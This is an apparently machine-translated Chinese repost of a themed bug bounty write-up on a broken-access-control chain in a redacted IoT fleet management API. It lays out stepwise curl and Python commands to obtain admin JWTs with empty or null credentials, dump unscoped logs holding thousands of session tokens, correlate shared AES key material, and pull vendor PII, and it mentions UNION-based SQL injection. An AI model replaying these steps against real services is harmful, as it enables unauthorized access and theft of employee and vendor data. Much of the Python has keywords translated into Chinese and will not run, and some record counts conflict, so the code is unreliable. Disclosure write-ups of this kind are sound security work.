文章总结: 该文档披露了一个物联网车队管理API系统的严重越权漏洞链:公开的Swagger文档暴露501个端点;任意用户可获取管理员JWT令牌;空用户凭证仍能通过验证;日志接口无限制泄露9649名员工会话令牌及敏感操作记录;两个平台共享AES密钥导致令牌可离线解密。建议立即禁用公开API文档、强化身份验证机制、实施最小权限原则并加密存储日志数据。 综合评分: 95 文章分类: 渗透测试,漏洞分析,WEB安全,安全建设,威胁情报
没有凭证?没问题。我们相信你-越权访问漏洞
安全狗的自我修养
2026年5月12日 15:19 中国香港
在小说阅读器读本章
去阅读
官网:http://securitytech.cc
没有凭证?没问题。我们相信你。
2026年3月的一个静谧夜晚,我给自己倒了一杯深色饮品,打开一个终端,踏入了一个忘记锁上城门的国度。 他们从不这样做。
王国:
1. [已编辑]-wfapi.[已编辑].com
生产工作流API。物联网车队管理。供应商入驻。商业模式。法律合同。一个帝国的运营中坚力量。 而从外面看——它显得坚不可摧。
看了。
第一阶段——学士的图书馆已解锁
“会读书的人能引领不会读书的人。” 每座城堡都有一位学士。每位学士都拥有一座图书馆。而每座图书馆——只要无人看守——便会告诉你关于其内部王国的一切所需信息。
在API术语中,他们称之为Swagger。
1. curl -s "https://[REDACTED]-wfapi.[REDACTED].com/swagger/v2/swagger.json" \
3. -o /dev/null \
5. -w “HTTP:%{http_code}大小:%{size_download}字节”
7. ”
回复:
1. HTTP:200大小:889887字节
889千字节。无需身份验证。无IP限制。无警告。
501个端点——每一条路由、每一个参数、每一个用于识别用户的身份验证机制——都像一封欢迎信般交到了我手中。 而在令牌端点规范内部,蕴含着一种精妙之处:
1. curl -s "https://[REDACTED]-wfapi.[REDACTED].com/swagger/v2/swagger.json"|
3. python3 -c "
5. 导入 json、sys
7. d = json.load(sys.stdin)
9. op = d['paths']['/api/v2/User/Token']['post']
11. 对于p in op['参数']:
13. print(f'参数:{p["name"]} → 位置={p["in"]} 必填={p.get("required",False)}')
15. print(f'总端点数:{len(d["paths"])}')
17. ”
输出:
1. 参数:用户名→位置=头文件必填=否
3. 参数:密码→位置=头文件必填=False
5. 参数:payloadId →位置=标头必填=否
7. 总端点:501
凭据作为 HTTP 标头传递。每个标记为 required=False 的字段。
按Enter键或单击以查看完整尺寸的图片
确认公开 Swagger(无需认证)
他们发布了一份自己王国的501个地点地图,并将其留在了公共道路上。提利昂本会烧掉它。这些人却把它裱起来了。
第二阶段——乌鸦送来了王冠
“永远别忘记你是谁。这个世界不会忘记。” 我清楚自己是什么。我发送了一次请求。
1. curl -s -X POST "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/User/Token" \
3. -H “用户名:[已屏蔽-测试用户]” \
5. -H “密码:[已屏蔽-测试密码]” \
7. -H “Content-Type: application/json” \
9. | python3 -m json.tool
回复:
1. {
3. “accessToken”:“eyJhbGciOiJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGRzaWd…”
4. }
已签名的JWT。由生产服务器签发,具有管理员权限。 我解码了它:
1. curl -s -X POST "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/User/Token" \
3. -H “用户名:[已屏蔽-测试用户]” \
5. -H “密码:[已屏蔽-测试密码]” \
7. -H “Content-Type: application/json”| python3 -c “
9. 导入 json、sys、base64
11. 数据= json.load(sys.stdin)
13. jwt =数据['accessToken']
14. 有效载荷= jwt.split('.')[1]
16. payload +='='*(4- len(payload)%4)
18. claims = json.loads(base64.b64decode(payload))
19. 用户= json.loads(claims['用户'])
20. print(json.dumps({
22. '用户名':用户['用户名'],
24. '用户ID':用户['用户ID'],
26. “角色”:用户['角色'],
28. “发行人”:claims['iss'],
30. “过期时间”:claims['exp']
31. },缩进=2))
33. ”
已解码:
1. {
3. “用户名”:[已屏蔽-测试用户],
5. “用户ID”:“[已屏蔽ID]”
7. “角色”:["requestmanageradmin"],
9. 发行人:https://[已屏蔽].com,
11. “过期时间”:1774782420
13. }
无速率限制。无验证码。无二次验证。无警报。 requestmanageradmin — 全功能生产管理员 — 第一次尝试时。
按Enter键或单击以查看完整尺寸的图片
获取已签名的管理员JWT(零凭据)
他们建了一座吊桥,把它涂成了金色,却忘了升起它。太壮观了!
第二阶段V——宴席上的幽灵
“一直醉着可不容易。要是容易的话,人人都会这么干。”
然后我开始思索——如果我发送一个代币,而它的身份竟然是……什么都没有呢?
1. NULL_TOKEN=$(curl -s -X POST "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/User/Token" \
3. -H “用户名:[已屏蔽-空用户]” \
5. -H “密码:[已屏蔽-测试密码]” \
7. -H “Content-Type: application/json” \
9. | python3 -c "import json,sys; print(json.load(sys.stdin)['accessToken'])")
1. echo $NULL_TOKEN | python3 -c "
3. 导入 sys、json、base64
5. jwt = sys.stdin.read().strip()
7. p = jwt.split('.')[1]; p += '=' * (4 - len(p) % 4)
9. c = json.loads(base64.b64decode(p))
10. 打印('用户声明值:', c['User'])
11. ”
1. 输出:用户声明值:空
一枚毫无灵魂的令牌。一封没有寄件人的信。一顶戴着王冠的幽灵。
那王国呢?
1. curl -s "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/application/processList" \
3. -H “accessToken: $NULL_TOKEN” \
5. -H “Accept: application/json”| python3 -m json.tool
HTTP 200:
1. [
3. {"名称":"请求_管理器","显示名称":"请求_管理器"},
5. {"名称":"供应商入驻","显示名称":"供应商入驻"},
7. {"名称":"供应商经理_分配表","显示名称":"供应商经理分配主表"},
9. {"名称":"公告","显示名称":"管理公告"}
11. ]
服务器向一个幽灵鞠了一躬。
中间件验证了JWT签名,却从未验证过其背后是否存在人类——或任何身份。 按Enter键或单击以查看完整尺寸的图片
授权失败:用户为空,已接受JWT
CWE-284 — 不当访问控制。
他们检查了蜡封是否是真的。他们却忘了查看这封信是不是有人写的。 第三阶段——乌鸦:124,548只
“我心中对残疾人、私生子和破碎之物怀有一种特别的柔情。” 我向日志端点发送了一次POST请求。未使用任何筛选器,未指定日期范围,也未设置任何作用域。
1. 令牌=$(curl -s -X POST "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/User/Token" \
3. -H “用户名:[已屏蔽-测试用户]” \
5. -H “密码:[已屏蔽-测试密码]” \
7. -H “Content-Type: application/json” \
9. | python3 -c "import json,sys; print(json.load(sys.stdin)['accessToken'])")curl -s -X POST "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/application/GetWFAPILogs" \
11. -H “accesstoken: $TOKEN” \
13. -H “Content-Type: application/json” \
15. -H “Accept: application/json” \
17. -d '{}' \
19. - w "
21. HTTP: %{http_code} 大小: %{size_download} 字节
23. “\”
25. -o 日志_response.json
43兆字节。HTTP 200。无需提问。
1. cat logs_response.json | python3 -c "
3. 导入 json、sys
5. 数据 = json.load(sys.stdin)
7. 日志 = 数据['错误日志']
9. 真实用户 = 集合(l['用户名'] for l in 日志 if l['用户名'] not in ('', '0'))
11. 令牌 = [l['AccessToken'] for l in 日志记录 if l.get('AccessToken','')]
12. print(f'[+] 日志条目总数: {len(logs)}')
14. print(f'[+] 唯一的真实用户ID: {len(real_users)}')
16. print(f'[+] 包含会话令牌的条目:{len(tokens)}')
18. print(f'[+] 唯一会话令牌: {len(set(tokens))}')
20. ”
输出:
1. [+]日志条目总数:124,548
3. [+]唯一的真实用户ID:9,649
5. [+]带会话令牌的条目:85,806
7. [+]唯一会话令牌:13,580个
9. [+]日志中的唯一API路径:507
9,649名真实员工。他们的会话令牌。他们的请求路径。他们的内部引荐URL。他们在平台上所做的一举一动——均已存档,未设范围限制,且任何通过第二阶段审核的人都可完全读取。 一个示例条目:
1. {
3. “日志ID”:“[已屏蔽]”
5. “路径”:“/api/v2/wf/GetLiveEnvironmentWF”
7. “访问令牌”:“[已屏蔽-实时令牌]”
9. “错误信息”:“”
11. “用户名”:“[已屏蔽-用户ID]”
13. “来源网址”:“https://[已屏蔽].com/process_control/cloudtracker”
15. “应用程序名称”:“WF_API”,
17. }
按Enter键或单击以查看完整尺寸的图片
生产日志泄露(16,364条记录,268个有效令牌)
CWE-532 — 日志文件中的敏感信息。
他们写了一本日记。他们把日记本敞开着。他们惊讶居然有人看了它。 阴影中的阴影——盛宴上的其他宾客
在解析日志时,我发现了其他访问者的证据。其他探针已内嵌于存档的请求中:
我不是第一个发现这间房间的人。其他人也曾来过——测试、探查,并在墙上留下痕迹。
而且,该系统一丝不苟地记录了它们中的每一个。供持有令牌的人阅读。
按Enter键或单击以查看完整尺寸的图片
不仅金库是开着的——它还备有一本留言簿。
第四阶段——一钥两界
“在权力的游戏里,你要么赢,要么死。” 在全部13,580个标记中,一种模式浮出水面:两个独立服务的标记之间共享一个44字节的AES块——完全相同。
1. python3 -c "
3. coreapi_token = '[REDACTED-COREAPI-TOKEN]'wfapi_tokens = [
5. '[已屏蔽-WFAPI-令牌-1]',
7. '[已屏蔽-WFAPI-令牌-2]'
9. ]导入base64
11. 共享块 = 'KApsgSQ20OQL/2BYYS5i96BsgM40X33sBUZgtDYlvTm'
13. 对于 t 在 wfapi_tokens 中:
15. 解码 = base64.b64decode(t + '==')
17. print(f'wfapi 令牌字节:{len(decoded)} | 包含共享 AES 块:{shared_block in t}')
18. ”
输出:
1. wfapi 令牌字节:56|包含共享AES块:是
3. wfapi 令牌字节:56|包含共享AES块:是
一个AES密钥。两个平台。13,580个代币。
如果密钥从一项服务中被提取——跨两个平台的所有令牌都将可解密。离线进行。悄无声息地。无需触及任何一台服务器。
CWE-522 — 凭据保护不足。
按Enter键或单击以查看完整尺寸的图片
AES密钥相关性:令牌可解密性
他们给前门和金库用了同一把钥匙。这是兰尼斯特家族的经典失误——甚至兰尼斯特家族最终也从中吸取了教训。
第五阶段——供应商卷轴
“我尽量多认识一些人。你永远不知道哪一位会派上用场。” 最后一扇门。供应商入驻模式。
1. curl -s -X POST \
3. https://[REDACTED]-wfapi.[REDACTED].com/api/v2/application/GetBmRecords?processName=Vendor_Onboarding
4. -H "accessToken: $TOKEN" \
6. -H “Accept: application/json” \
8. -o raw_bm.json \
10. -w “HTTP:%{http_code}”
12. ”
HTTP:200
1. python3 -c "
3. 导入 jsonwith open('raw_bm.json') as f:
5. 数据 = json.load(f) r = 数据[0]
7. bm = json.loads(r['BmJson'])字段 = {}
9. 对于视图 in bm['业务模型对象组'].values():
11. 对于视图中‘BusinessModelObjects’的值:
13. 对于 bmo.get('DataModelObjectGroups', {}).values() 中的每个 dmog:
15. 对于 dmog 中的‘Rows’键对应的值中的每一行:
16. 对于行中的列 in row.get('Columns', []):
18. 对于名称,dmo in col.get('DataModelObjects', {}).items():
20. fields[dmo.get('Name', name)] = dmorequired = {n: d for n, d in fields.items() if d.get('IsRequired') == True}
22. print(f'总字段数: {len(fields)}')
24. print(f'所需字段:{len(required)}')
26. 对于名称,f 在 required.items() 中:
28. print(f' {f.get("DisplayName",""):<45} → {name}')
29. ”
输出:
1. 总字段:29
3. 必填字段:8供应商公司名称→ VO_FV_Det_User_CompName
5. 供应商联系人姓名→ VO_FV_Det_User_Fname
7. 供应商联系邮箱→ VO_FV_Det_User_Email
9. 供应商联系电话→ VO_FV_Det_User_Mphone
11. 名→ VO_AV_FName_DMO
13. 姓→ VO_AV_LName_DMO
15. 电子邮件→ VO_AV_Dmo_电子邮件
商业敏感领域:
1. [VO_FV_英语_通用_项目支出]→“预计支出是多少?”
2. [VO_FV_Eng_Gen_Legal]→“[保密]法律实体会从美国境外采购吗?”
4. [VO_FV_Eng_Gen_Vertical]→“请选择将要在此下销售的垂直类别。”
6. [VO_FV_Eng_Gen_Resell]→“该软件是用于[REDACTED]的网络还是转售?”
7. [VO_FV_Det_User_HiddenRole]→隐藏角色(RoleTypeHidden)
公司名称。电子邮件。电话号码。预计支出金额。隐藏的内部职位。
全部存储在可注射的 [REDACTED]_p1 MySQL 数据库中。 均可通过基于UNION的SQL注入,利用有效令牌实现访问。 按Enter键或单击以查看完整尺寸的图片
供应商PII模式确认(GetBmRecords)
按Enter键或单击以查看完整尺寸的图片
供应商PII模式确认(GetBmRecords)
CWE-306 — 关键功能缺少身份验证。
他们把供应商的机密存放在一间锁已坏的房间里,旁边还放着一个数据库——只要你礼貌地问它,它就会“说话”,而且说得还不对。 按Enter键或单击以查看完整尺寸的图片
通用漏洞评分系统
尾声
提利昂从不需要一把剑。他需要的是一杯葡萄酒、一个安静的角落,以及足够的耐心,去倾听别人说话。我从小便渴望那种东西——不是权力,也不是名声,而是那种安静而令人心碎的清醒:洞悉一切,远超周遭众人。
-
这条漏洞链并不复杂。它既不需要零日漏洞,也不需要什么稀奇古怪的工具。它所需要的,正是提利昂一直所说的:*
-
阅读。思考。了解事物。
-
王国是开放的。我走了进去,记录下了一切,然后走了出来。之后,我上报了此事。
-
因为目标从来就不是烧毁这座城堡。 而是要悄悄地、精准地向他们表明:那扇大门从未关闭过。
-
-
公众号:安全狗的自我修养
-
vx:2207344074
-
http://gitee.com/haidragon
-
http://github.com/haidragon
-
bilibili:haidragonx
-
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 《没有凭证?没问题。我们相信你-越权访问漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论